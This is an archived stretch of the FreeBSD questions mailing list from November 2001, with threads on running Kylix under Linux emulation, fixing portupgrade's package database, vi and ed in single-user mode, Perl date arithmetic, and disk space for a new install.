> Cc: freebsd-emulation@freebsd.org
> Subject: KYLIX/Delphi on FreeBSD 4.4 = boxes
>
>
> Dear Sirs.
>
> Kylix2 is out and I tried to install it on a = recently cvsupdated
> FreeBSD 4.4-STABLE box. The machine is a AMD = K6-2/550 machine,
> running FBSD 4.4-STABLE as mentioned and = Linux_Base 7 and several
> Linux graphics packages from ports collection = (especially gtk and
> jpeg!).
>
> After solving several problems (after = installation several
> programs need to be brandelfed to Linux due to = they are brandelfed
> to SYSV (0)) and choosing the right = installation path (it is better
> to make a directory in = /compat/linux/usr/local/kylix2 and then symlink
> it to /usr/local/kylix2 and additionaly you = should make a dir
> like /compat/linux/usr/local/kylix2bin and = symlink this to
> /usr/local/kylix2bin
> to ensure Kylix finds all its programs also it = is in
> Linuxulator mode).
>
> After the first start with 'startkylix' under = fvwm2 the
> baheviour is the
> same as shown by Kylix version 1: after a while = 'delphi' dumps a core
> with an error: illegal instruction and the = startscript 'Kylix' drops.
> It seems that after starting the delphi core, = the Linux
> binary 'gets sick'
> and I do not know why.
>
> Is anyone out here who runs Kylix successfuly = on FreeBSD boxes?
>
> Thanks in advance,
> Oliver
>
> --
> MfG
> O. Hartmann
>
> ohartman@klima.physik.uni-mainz.de
> = ----------------------------------------------------------------
> IT-Administration des Institutes fuer Physik = der Atmosphaere (IPA)
> = ----------------------------------------------------------------
> Johannes Gutenberg Universitaet Mainz
> Becherweg 21
> 55099 Mainz
>
> Tel: +496131/3924662 (Maschinenraum)
> Tel: +496131/3924144
> FAX: +496131/3923532
>
>
> To Unsubscribe: send mail to = majordomo@FreeBSD.org
> with "unsubscribe freebsd-emulation" = in the body of the message
>

------_=_NextPart_001_01C17132.6AEAC9C0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 11:50:20 2001 Delivered-To: freebsd-questions@freebsd.org Received: from acmey.gatech.edu (acmey.gatech.edu [130.207.165.23]) by hub.freebsd.org (Postfix) with ESMTP id 71C7837B417 for ; Mon, 19 Nov 2001 11:50:15 -0800 (PST) Received: by acmey.gatech.edu (Postfix, from userid 19753) id A044D31F2E; Mon, 19 Nov 2001 14:50:14 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by acmey.gatech.edu (Postfix) with ESMTP id 95352330DF; Mon, 19 Nov 2001 14:50:14 -0500 (EST) Date: Mon, 19 Nov 2001 14:50:14 -0500 (EST) From: Michael Imamura X-Sender: gte255n@acmey.gatech.edu To: Louis LeBlanc Cc: FreeBSD Questions Subject: Re: portupgrade broke something, and pkgdb -F won't fix it In-Reply-To: <20011119185423.GA740@keyslapper.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 19 Nov 2001, Louis LeBlanc wrote: > And freezes. The CPU load for the ruby process grows to about 95%, and > bounces around between that and 99%, never finishing. > > Any ideas what I can do to fix this problem? I had this problem a while back when I managed to really screw up portupgrade's package and ports databases. Try deleting /var/db/pkg/pkgdb.db and /usr/ports/INDEX.*, then run "pkgdb -u" to rebuild them. If it still hangs, you can try to pkg_delete wget (and make sure the directory in /var/db/pkg is gone), then portinstall it fresh. Hope that helps. - Michael Imamura mimamura@resnet.gatech.edu LUG@GT Web Guy http://www.lugatgt.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 11:52: 7 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp011.mail.yahoo.com (smtp011.mail.yahoo.com [216.136.173.31]) by hub.freebsd.org (Postfix) with SMTP id B423637B405 for ; Mon, 19 Nov 2001 11:52:04 -0800 (PST) Received: from unknown (HELO mlevy) (12.27.148.78) by smtp.mail.vip.sc5.yahoo.com with SMTP; 19 Nov 2001 19:52:04 -0000 Message-ID: <001e01c17134$0d6f2370$fd6e34c6@mlevy> From: "Bara Zani" To: Subject: Vi a Joke ? Date: Mon, 19 Nov 2001 14:54:50 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Just an article related to the discussion on this subject . very nice reading from an expert . http://www.ebone.at/books/programmers/sonstiges/oreillybookself/unix/upt/ch3 0_03.htm Barazani _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 11:57:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from winnt.use.ch (client62-2-92-231.hispeed.ch [62.2.92.231]) by hub.freebsd.org (Postfix) with ESMTP id 8E02C37B41E for ; Mon, 19 Nov 2001 11:57:29 -0800 (PST) Subject: Re: Creating 5GB files To: francisv@dagupan.com Cc: freebsd-questions@freebsd.org X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: FreeBSD@hm.homeip.net Date: Mon, 19 Nov 2001 20:31:14 +0100 X-MIMETrack: Serialize by Router on winnt/Privat(Release 5.0.8 |June 18, 2001) at 19.11.2001 20:57:29 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi dd if=/dev/zero of=myfile bs=100K count=50 should work for that - Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 11:57:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from winnt.use.ch (client62-2-92-231.hispeed.ch [62.2.92.231]) by hub.freebsd.org (Postfix) with ESMTP id A0F0D37B41F for ; Mon, 19 Nov 2001 11:57:30 -0800 (PST) Subject: Re: Services very slow on Firewall/nat boxes. To: Brendan Kosowski Cc: FreeBSD Questions X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: FreeBSD@hm.homeip.net Date: Mon, 19 Nov 2001 20:34:21 +0100 X-MIMETrack: Serialize by Router on winnt/Privat(Release 5.0.8 |June 18, 2001) at 19.11.2001 20:57:30 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Brendan I would assume there is some problem with your DNS, either your machine can't do DNS lookups from your primary DNS server (that generates a timeout) and then i tries to get another one. - Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 11:58:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pr0n.kutulu.org (pr0n.kutulu.org [151.196.107.157]) by hub.freebsd.org (Postfix) with ESMTP id F1C0637B41F; Mon, 19 Nov 2001 11:58:19 -0800 (PST) Received: (from kutulu@localhost) by pr0n.kutulu.org (8.11.6/8.11.6) id fAJJwap38349; Mon, 19 Nov 2001 14:58:36 -0500 (EST) (envelope-from kutulu) Date: Mon, 19 Nov 2001 14:58:36 -0500 From: Kutulu To: "Person, Roderick" Cc: "'Hartmann, O.'" , freebsd-questions@FreeBSD.ORG, freebsd-emulation@FreeBSD.ORG Subject: Re: KYLIX/Delphi on FreeBSD 4.4 boxes Message-ID: <20011119145836.A38329@pr0n.kutulu.org> Mail-Followup-To: "Person, Roderick" , "'Hartmann, O.'" , freebsd-questions@FreeBSD.ORG, freebsd-emulation@FreeBSD.ORG References: <46AEB8C1B628D511969200508B6FE42A66877F@1upmc-msx6.isdip.upmc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <46AEB8C1B628D511969200508B6FE42A66877F@1upmc-msx6.isdip.upmc.edu>; from personrp@ccbh.com on Mon, Nov 19, 2001 at 02:43:09PM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 02:43:09PM -0500, Person, Roderick wrote: > I've been trying to get this to work too. > > I've looked at the core dump and it seems that kylix makes a call to > _sigsuspend. I'm not at home so I don't have the full error at hand. But it > seems this is a Linux system call that is not implemented in the linux base I've had a horribly time trying to get Kylix (1 or 2) to run under FreeBSD. I could barely get it to run under Linux as it, it kept crashing my X Server. On BSD, it generates a whole slew of 'fstat64() not implemented' errors. I think those relate to the fact that I had linux_base-7 installed instead of linux_base, but overall I just gave up and sent Borland and email politely requesting they compile Kylix under BSD in the next 10 years or so :) --K To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 12: 1:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id DEBC037B41A for ; Mon, 19 Nov 2001 12:00:55 -0800 (PST) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id MAA11708; Mon, 19 Nov 2001 12:00:54 -0800 Message-ID: <3BF964F5.7080905@owt.com> Date: Mon, 19 Nov 2001 12:00:53 -0800 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: Bara Zani Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Vi a Joke ? References: <001e01c17134$0d6f2370$fd6e34c6@mlevy> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Bara Zani wrote: > Just an article related to the discussion on this subject . > very nice reading from an expert . > http://www.ebone.at/books/programmers/sonstiges/oreillybookself/unix/upt/ch30_03.htm Correct the link while I am at it. Maybe my email program will not break the link. One point people forget and that is what can you use when you mess up rc.conf and your system will only boot into single user mode. Learning vi at that point is a painic :). Kent > Barazani > > > > _________________________________________________________ > Do You Yahoo!? > Get your free @yahoo.com address at http://mail.yahoo.com > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > . > > -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://users.owt.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 12: 3: 7 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sdsl-216-36-101-146.dsl.chi.megapath.net (sdsl-216-36-101-146.dsl.chi.megapath.net [216.36.101.146]) by hub.freebsd.org (Postfix) with SMTP id 82E7237B405 for ; Mon, 19 Nov 2001 12:02:59 -0800 (PST) Received: (qmail 97523 invoked from network); 19 Nov 2001 20:03:17 -0000 Received: from apu.five.sight (HELO apu.five.sight.fivesight.com) (lucas@192.168.0.102) by wiggum.five.sight with SMTP; 19 Nov 2001 20:03:17 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15353.25987.452776.884539@apu.five.sight> Date: Mon, 19 Nov 2001 14:03:15 -0600 To: "stuart richardson" From: Lucas Bergman Cc: questions@FreeBSD.org Subject: Re: disk space In-Reply-To: References: X-Mailer: VM 6.96 under 21.4 (patch 5) "Civil Service" XEmacs Lucid Reply-To: lucas@slb.to Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I am a novice to Free BSD. I plan to install Free BSD from the > FreeBSD: An Open-Source Operating System for Your PC CD's... How > much disk space will I need for this. 500 MB is not unreasonable, but 1 GB would be considerably more comfortable. You'll almost certainly want more once FreeBSD becomes your primary OS. Lucas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 12: 4:21 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ralf.artlogix.com (sense-mcglk-240.oz.net [216.39.168.240]) by hub.freebsd.org (Postfix) with ESMTP id 05B5737B419 for ; Mon, 19 Nov 2001 12:04:18 -0800 (PST) Received: by ralf.artlogix.com (Postfix, from userid 1000) id 179EE1B9C2E; Mon, 19 Nov 2001 12:04:17 -0800 (PST) To: Subject: Re: Epoch Time on Freebsd with perl References: From: Ken McGlothlen Date: 19 Nov 2001 12:04:16 -0800 In-Reply-To: Message-ID: <87n11i34u7.fsf@ralf.artlogix.com> Lines: 55 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Someone whose name has been removed to protect the innocent writes: | > [Chris Aitken writes] | > $date1 = "2001-10-01 01:00:00"; | > $date2 = "2001-10-01 03:00:00"; | > | > What I want is to somehow calculate that there is 2 hours between these 2 | > dates (or 120 minutes, or 7200 seconds etc etc) [in Perl] | > Any help on this would be appreciated. | | Depending on your database you could do this in SQL, I would recommend | RTFMing its docs. That deserves *some* kind of prize for possibly the least efficient solution to a problem ever posted on the list. There are several methods out there. One of them would be this: use Time::Local; sub parsetime { # Get the date from the parameter list. my( $datestring ) = shift; # Break up the date on all non-digit characters, and reverse # the order of the result. You'll now have [second, minute, # hour, day, month, year] stored in @date. my( @date ) = reverse( split( /\D+/, $datestring ) ); # Due to a quick in Time::Local, months range from 0..11, so # subtract one from the month. $date[4]--; # Now we let timelocal() (in Time::Local) do the work and # return the result. return( timelocal( @date ) ); } Christ, this assumes that your dates are going to be in the above format. Once you have this routine defined, you can find out the difference between any two dates by using this (assuming the $date1 and $date2 definitions you have above): $time1 = &parsetime( $date1 ); $time2 = &parsetime( $date2 ); $difference = $time2 - $time1; In fact, there are a bunch of Perl modules out there which are useful for this sort of thing. This is just a relatively efficient one, because you know the format of the dates you're parsing. For really weird ones, you can go as far as using Time::ParseDate, which is slow, but incredibly flexible. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 12:12:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from webs1.accretive-networks.net (webs1.accretive-networks.net [207.246.154.13]) by hub.freebsd.org (Postfix) with ESMTP id 18C8D37B405 for ; Mon, 19 Nov 2001 12:12:43 -0800 (PST) Received: from localhost (davidk@localhost) by webs1.accretive-networks.net (8.11.1/8.11.3) with ESMTP id fAJKCf509171; Mon, 19 Nov 2001 12:12:41 -0800 (PST) Date: Mon, 19 Nov 2001 12:12:41 -0800 (PST) From: David Kirchner X-X-Sender: To: Kent Stewart Cc: Bara Zani , Subject: Re: Vi a Joke ? In-Reply-To: <3BF964F5.7080905@owt.com> Message-ID: <20011119121228.A9030-100000@localhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 19 Nov 2001, Kent Stewart wrote: > One point people forget and that is what can you use when you mess up > rc.conf and your system will only boot into single user mode. Learning > vi at that point is a painic :). At that point it is nice to know how to use "ed". :-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 12:15:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ns-exch05.jccc.net (ns-exch05.jccc.net [198.248.56.5]) by hub.freebsd.org (Postfix) with ESMTP id F0E0137B405 for ; Mon, 19 Nov 2001 12:15:40 -0800 (PST) Received: by ns-exch05 with Internet Mail Service (5.5.2653.19) id ; Mon, 19 Nov 2001 14:15:33 -0600 Message-ID: From: Noah Dunker To: "'lucas@slb.to'" , stuart richardson Cc: questions@FreeBSD.ORG Subject: RE: disk space Date: Mon, 19 Nov 2001 14:15:33 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG My firewall runs off a 200 megabyte drive, but I've stripped it down to a purpose built installation. I've found that 2 GB is great for a desktop-based use-it-everyday install for FreeBSD if you don't do a lot of software tinkering and keep all your MP3's on CD-R Media. :) Noah Dunker Systems Analyst/Technician Johnson County Community College -----Original Message----- From: Lucas Bergman [mailto:lucas@slb.to] Sent: Monday, November 19, 2001 2:03 PM To: stuart richardson Cc: questions@FreeBSD.ORG Subject: Re: disk space > I am a novice to Free BSD. I plan to install Free BSD from the > FreeBSD: An Open-Source Operating System for Your PC CD's... How > much disk space will I need for this. 500 MB is not unreasonable, but 1 GB would be considerably more comfortable. You'll almost certainly want more once FreeBSD becomes your primary OS. Lucas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 12:19:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fac13.ds.psu.edu (fac13.ds.psu.edu [146.186.61.98]) by hub.freebsd.org (Postfix) with ESMTP id CB74337B416 for ; Mon, 19 Nov 2001 12:19:55 -0800 (PST) Received: from fac13.ds.psu.edu (localhost.ds.psu.edu [127.0.0.1]) by fac13.ds.psu.edu (8.11.6/8.11.3) with ESMTP id fAJKJhT71152; Mon, 19 Nov 2001 15:19:43 -0500 (EST) (envelope-from hawk@fac13.ds.psu.edu) Message-Id: <200111192019.fAJKJhT71152@fac13.ds.psu.edu> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: David Kirchner , freebsd-questions@FreeBSD.ORG Subject: Re: Vi a Joke ? In-Reply-To: Your message of "Mon, 19 Nov 2001 12:12:41 PST." <20011119121228.A9030-100000@localhost> From: dochawk@psu.edu Date: Mon, 19 Nov 2001 15:19:43 -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG David dabbled > On Mon, 19 Nov 2001, Kent Stewart wrote: > > One point people forget and that is what can you use when you mess up > > rc.conf and your system will only boot into single user mode. Learning > > vi at that point is a painic :). > At that point it is nice to know how to use "ed". :-) as I found out the hard way a couple of months ago :) vim is on /usr, and if you're hitting single user becuase of a problem with /usr, ed is all there is. Fortunately, ed is rather obvious to the vi user--I hadn't used it in over 15 years, and did just fine. hawk -- What part of "non-negotiable" didn't you understand? /"\ ASCII ribbon campaign dochawk@psu.edu Smeal 178 (814) 375-4700 \ / against HTML mail These opinions will not be those of X and postings. Penn State until it pays my retainer. / \ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 12:21:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from 1upmc-msximc1.isdip.upmc.edu (1upmc-msximc1.isdip.upmc.edu [128.147.18.39]) by hub.freebsd.org (Postfix) with ESMTP id 4920237B405; Mon, 19 Nov 2001 12:21:38 -0800 (PST) Received: by 1upmc-msximc1.isdip.upmc.edu with Internet Mail Service (5.5.2655.55) id ; Mon, 19 Nov 2001 15:20:39 -0500 Message-ID: <46AEB8C1B628D511969200508B6FE42A668780@1upmc-msx6.isdip.upmc.edu> From: "Person, Roderick" To: 'Kutulu' Cc: "'freebsd-questions@FreeBSD.ORG'" , "'freebsd-emulation@FreeBSD.ORG'" Subject: RE: KYLIX/Delphi on FreeBSD 4.4 boxes Date: Mon, 19 Nov 2001 15:20:40 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C17137.A8A79720" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C17137.A8A79720 Content-Type: text/plain; charset="iso-8859-1" Yes, I tried it with base 7 and got the 'fstat64() not implemented' as well, but so did Opera which runs on 6.1. No x-server crashes. On 6.1 it wasn't as rough. Just the core dump on sigsuspend. I believe if that could be over come that it would run. Roderick P. Person Programmer II personrp@ccbh.com "Without censorship, things can get terribly confused in the public mind." - General William Westmoreland > -----Original Message----- > From: Kutulu [mailto:kutulu@kutulu.org] > Sent: November 19, 2001 2:59 PM > To: Person, Roderick > Cc: 'Hartmann, O.'; freebsd-questions@FreeBSD.ORG; > freebsd-emulation@FreeBSD.ORG > Subject: Re: KYLIX/Delphi on FreeBSD 4.4 boxes > > > On Mon, Nov 19, 2001 at 02:43:09PM -0500, Person, Roderick wrote: > > I've been trying to get this to work too. > > > > I've looked at the core dump and it seems that kylix makes a call to > > _sigsuspend. I'm not at home so I don't have the full error > at hand. But it > > seems this is a Linux system call that is not implemented > in the linux base > > I've had a horribly time trying to get Kylix (1 or 2) to run > under FreeBSD. I could barely get it to run under Linux as it, > it kept crashing my X Server. On BSD, it generates a whole > slew of 'fstat64() not implemented' errors. I think those relate > to the fact that I had linux_base-7 installed instead of > linux_base, but overall I just gave up and sent Borland and email > politely requesting they compile Kylix under BSD in the next > 10 years or so :) > > --K > ------_=_NextPart_001_01C17137.A8A79720 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: KYLIX/Delphi on FreeBSD 4.4 boxes

Yes, I tried it with base 7 and got the 'fstat64() = not implemented' as well, but so did Opera which runs on 6.1. No = x-server crashes. On 6.1 it wasn't as rough. Just the core dump on = sigsuspend. I believe if that could be over come that it would = run.

Roderick P. Person
Programmer II
personrp@ccbh.com

"Without censorship, things can get terribly = confused in the public mind."

    - General William = Westmoreland


> -----Original Message-----
> From: Kutulu [mailto:kutulu@kutulu.org]
> Sent: November 19, 2001 2:59 PM
> To: Person, Roderick
> Cc: 'Hartmann, O.'; = freebsd-questions@FreeBSD.ORG;
> freebsd-emulation@FreeBSD.ORG
> Subject: Re: KYLIX/Delphi on FreeBSD 4.4 = boxes
>
>
> On Mon, Nov 19, 2001 at 02:43:09PM -0500, = Person, Roderick wrote:
> > I've been trying to get this to work = too.
> >
> > I've looked at the core dump and it seems = that kylix makes a call to
> > _sigsuspend. I'm not at home so I don't = have the full error
> at hand. But it
> > seems this is a Linux system call that is = not implemented
> in the linux base
>
> I've had a horribly time trying to get Kylix (1 = or 2) to run
> under FreeBSD.  I could barely get it to = run under Linux as it,
> it kept crashing my X Server.  On BSD, it = generates a whole
> slew of 'fstat64() not implemented' = errors.  I think those relate
> to the fact that I had linux_base-7 installed = instead of
> linux_base, but overall I just gave up and sent = Borland and email
> politely requesting they compile Kylix under = BSD in the next
> 10 years or so :)
>
> --K
>

------_=_NextPart_001_01C17137.A8A79720-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 12:24:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id EA6E737B417 for ; Mon, 19 Nov 2001 12:24:52 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 0B1F866B27; Mon, 19 Nov 2001 12:24:17 -0800 (PST) Date: Mon, 19 Nov 2001 12:24:17 -0800 From: Kris Kennaway To: Paul ' Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Installing CURRENT Message-ID: <20011119122417.A84455@xor.obsecurity.org> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="Qxx1br4bt0+wmkIi" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from smak_420@hotmail.com on Mon, Nov 19, 2001 at 10:00:27AM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --Qxx1br4bt0+wmkIi Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Nov 19, 2001 at 10:00:27AM -0500, Paul ' wrote: > How do you install a 5.0 CURRENT distribution with this diskettes of an > older version? >=20 > I have tried going to the options section of the install screen and chang= ing > the name there from 4.3-RELEASE to 5.0-CURRENT ( i have older 4.3 diskett= es) > but that does nothing for me as when it gets to install time the correct > files cannot be found. If you have to ask, you probably shouldn't be running -current. It's only intended for expert FreeBSD users who are helping with development and QA. Kris --Qxx1br4bt0+wmkIi Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+WoVWry0BWjoQKURAvEsAKDkC8tqL+QSLhM9ntq70e3RdVLCPQCcCF5k Sn9A52R4RAiKuXbV3xsAKgE= =uoAp -----END PGP SIGNATURE----- --Qxx1br4bt0+wmkIi-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 12:32:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from klima.physik.uni-mainz.de (klima.Physik.Uni-Mainz.DE [134.93.180.162]) by hub.freebsd.org (Postfix) with ESMTP id 9450B37B419; Mon, 19 Nov 2001 12:32:36 -0800 (PST) Received: from klima.Physik.Uni-Mainz.DE (klima.Physik.Uni-Mainz.DE [134.93.180.162]) by klima.physik.uni-mainz.de (8.11.6/8.11.4) with ESMTP id fAJKWXB01838; Mon, 19 Nov 2001 21:32:33 +0100 (CET) (envelope-from ohartman@klima.physik.uni-mainz.de) Date: Mon, 19 Nov 2001 21:32:33 +0100 (CET) From: "Hartmann, O." To: "Person, Roderick" Cc: freebsd-questions@freebsd.org, Subject: RE: KYLIX/Delphi on FreeBSD 4.4 boxes In-Reply-To: <46AEB8C1B628D511969200508B6FE42A66877F@1upmc-msx6.isdip.upmc.edu> Message-ID: <20011119212856.T1720-100000@klima.physik.uni-mainz.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 19 Nov 2001, Person, Roderick wrote: Hello. Well, I also checked a core a while ago and I checked 'dmesg' output of several runs. And I received weird things in the kernel logs: . . . linux: 'ioctl' fd=4, cmd=0x7201 ('r',1) not implemented . linux: 'ioctl' fd=6, cmd=0x7201 ('r',1) not implemented . linux: 'ioctl' fd=8, cmd=0x7201 ('r',1) not implemented . linux: 'ioctl' fd=11, cmd=0x7201 ('r',1) not implemented . pid 20643 (delphi), uid 1000: exited on signal 4 (core dumped) The kernel's log space is overrun by these error messages and I do not see what's the first entry. :>I've been trying to get this to work too. :> :>I've looked at the core dump and it seems that kylix makes a call to :>_sigsuspend. I'm not at home so I don't have the full error at hand. But it :>seems this is a Linux system call that is not implemented in the linux base :>as far as I can tell. I found only a few emails related to this in the :>archives. Someone was working on it, but I can find out if it was ever :>completed or worked. I've sent out e-mails but no replies. I taken a break :>but may get back to it in a few days. :> :>Roderick P. Person :>Programmer II :>(412)454-2616 :>personrp@ccbh.com :> :>"Without censorship, things can get terribly confused in the public mind." :> :> - General William Westmoreland :> :> :>> -----Original Message----- :>> From: Hartmann, O. [mailto:ohartman@klima.physik.uni-mainz.de] :>> Sent: November 19, 2001 2:29 PM :>> To: freebsd-questions@freebsd.org :>> Cc: freebsd-emulation@freebsd.org :>> Subject: KYLIX/Delphi on FreeBSD 4.4 boxes :>> :>> :>> Dear Sirs. :>> :>> Kylix2 is out and I tried to install it on a recently cvsupdated :>> FreeBSD 4.4-STABLE box. The machine is a AMD K6-2/550 machine, :>> running FBSD 4.4-STABLE as mentioned and Linux_Base 7 and several :>> Linux graphics packages from ports collection (especially gtk and :>> jpeg!). :>> :>> After solving several problems (after installation several :>> programs need to be brandelfed to Linux due to they are brandelfed :>> to SYSV (0)) and choosing the right installation path (it is better :>> to make a directory in /compat/linux/usr/local/kylix2 and then symlink :>> it to 